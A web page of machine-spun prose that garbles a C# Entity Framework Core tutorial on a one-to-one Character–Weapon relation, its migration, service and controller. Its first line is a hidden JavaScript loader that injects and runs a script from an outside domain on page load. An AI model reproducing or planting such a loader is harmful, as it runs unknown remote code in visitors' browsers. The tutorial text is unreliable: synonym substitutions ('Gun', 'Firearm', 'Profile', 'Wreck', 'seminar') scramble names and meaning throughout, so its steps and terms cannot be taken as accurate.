;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
Now why don’t we add another type of design to our Online API – brand new Gun . The idea behind this can be that every Profile will only features you to definitely Weapon and you may vice versa.
I am aware, this is not their normal character-to experience online game. Usually, might have multiple weapons on the list and you may equip you to otherwise a few, however for this example, your own RPG character just gets you to weapon incase need to alter they, you have to miss additional.
Next, we have to add some other possessions with the Character category, namely this new Firearm . Do you really currently see how to perform a one-to-you to definitely family members?
While the i extra a different design we would also like to see it a table regarding the databases. Very, we must range from the Gun category since the DbSet towards the DataContext .
Ok, it seems like we currently got that which you ready for the migration. Very, on critical i method of dotnet ef migrations incorporate Weapon and you will hit get back.
The child/oriented front couldn’t end up being computed towards one-to-one to dating anywhere between ‘Character.Weapon’ and you may ‘Weapon.Character’. To recognize the little one/created side of the relationship, configure the fresh foreign key possessions. When the this type of navigations shouldn’t be a portion of the same matchmaking arrange them instead of specifying brand new inverse.
Ok. So, because of this we should instead describe a direct foreign secret possessions. With the aid of the overseas trick, the fresh new databases knows where to search with the relevant entity.
In our example, we want the brand new Gun are the latest established region of the dating. There needs to be a characteristics for it Weapon . It can’t occur without it. The character while doing so can be can be found without a weapon .
We understand one by adding another property towards Firearm classification, and that is the assets CharacterId just like the an enthusiastic int . By using you to definitely seminar – using the C# category identity additionally the text “Id” – Entity Build understands that this is actually the involved foreign trick having the character property. That’s all already.
Regarding the Upwards() style of the newest migration file, we see the manufacture of new Weapons desk therefore the concept of new foreign trick limitation.
Regarding migration construction file, we as well as comprehend the concept of new family members anywhere between Profile and you will Gun . Towards the measures HasOne() and WithOne() Entity Design describes the one-to-that family members. Additionally, you can see the expression the new foreign secret and possess what the results are if a nature gets got rid of. That have OnDelete(DeleteBehavior.Cascade) brand new Firearm would be removed making use of the Profile .
I start by undertaking a special folder in regards to our WeaponService and you may next create the program IWeaponService . That it interface merely gets one technique named AddWeapon() , coming back a good GetCharacterDto and you will taking an enthusiastic AddWeaponDto .
For this, i create a separate Gun folder throughout the Dtos folder and you will create the C# class AddWeaponDto for the functions Label , Ruin and CharacterId .
2nd, i produce the WeaponService execution class and apply the fresh new corresponding software and you may range from the async key phrase into AddWeapon() method.
I also need a beneficial constructor injecting the new DataContext , brand new IHttpContextAccessor to get the already signed up user and you may an IMapper . We need the consumer to ensure the latest considering CharacterId afterwards.
Concerning your utilization of brand new AddWeapon() strategy we earliest initialize this new ServiceResponse , come back that it impulse and you can already perform a-try/catch take off where i lay just the right values in the event out of an exemption.
Now for brand new are take off, i very first get the best Reputation throughout the database. I supply new Emails regarding _context , find the basic entity into provided CharacterId plus the right Member making sure that we understand it reputation really falls under the fresh new currently signed up representative.
Only to review, we get the brand new Id of your own current associate because of the being able to access the fresh new NameIdentifier says really worth on JSON net token.
However, whenever we had just the right profile , we could carry out a unique Firearm like, towards the provided Identity and you will Damage well worth and also set this new Reputation assets regarding the brand new Firearm such as for the character object we got about databases.
Incidentally, we can possess extra an alternate mapping throughout the AddWeaponDto in order to the fresh Firearm type of, or we simply lay both of these services yourself right here.
They comes from ControllerBase therefore need to range from the features [Route(“[controller]”)] , [ApiController] and you may [Authorize] aided by the relevant using directives.
Up coming we are in need of good constructor that’s inserting the brand new IWeaponService . As always we are able to initialize this field about parameter.
Next, i only need that Article approach, which is AddWeapon() with an AddWeaponDto since a parameter and you can going back the consequence of brand new AddWeapon() method of the _weaponService .
Up coming we strive in order to make a new gun into Website link , the fresh new HTTP experience Post and remember the newest Consent key throughout the heading towards right holder token.
Concerning your system, make sure you fool around with an awesome title to suit your gun and you can a proper characterId for your signed-inside the member.
Running the call results in a profitable impulse. But it is not as satisfying. We do not see the gun of your own character. Well, obviously, we do not view it, because we haven’t added this new firearm into GetCharacterDto .
We get an exclusion! Much less of use. But when i have a close look during the Critical in the Graphic Facility Password, we are able to comprehend the following the error message.
And it also even informs us this new Id of the profile. And so the one to-to-you to family relations really works alright. To add some other weapon, i first need get rid of the Learn Sword regarding the databases desk.
We perform a different GetWeaponDto classification one to only consists of this new Name therefore the Wreck of your own Gun . No need having an enthusiastic Id or perhaps the Character here.
That’s all. Once we today delete the new weapon of our character on the database first and then perform it once more with Postman, we obtain the whole reputation back – for the related gun.